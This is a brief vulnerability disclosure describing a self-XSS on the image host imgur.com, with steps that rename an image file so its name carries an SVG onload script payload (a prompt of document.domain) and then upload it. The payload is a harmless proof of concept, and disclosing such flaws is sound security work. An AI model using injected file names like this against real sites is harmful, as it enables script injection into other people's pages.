This is a Self-XSS I discovered in the famous images uploader imgur.com
Steps to reproduce:
1. Take any image you have in your system, for example "cats.png"
2. Go to the terminal and rename it, I used: mv 'cats.png' '"><svg onload=prompt(document.domain)>.png'
3. Upload the renamed image.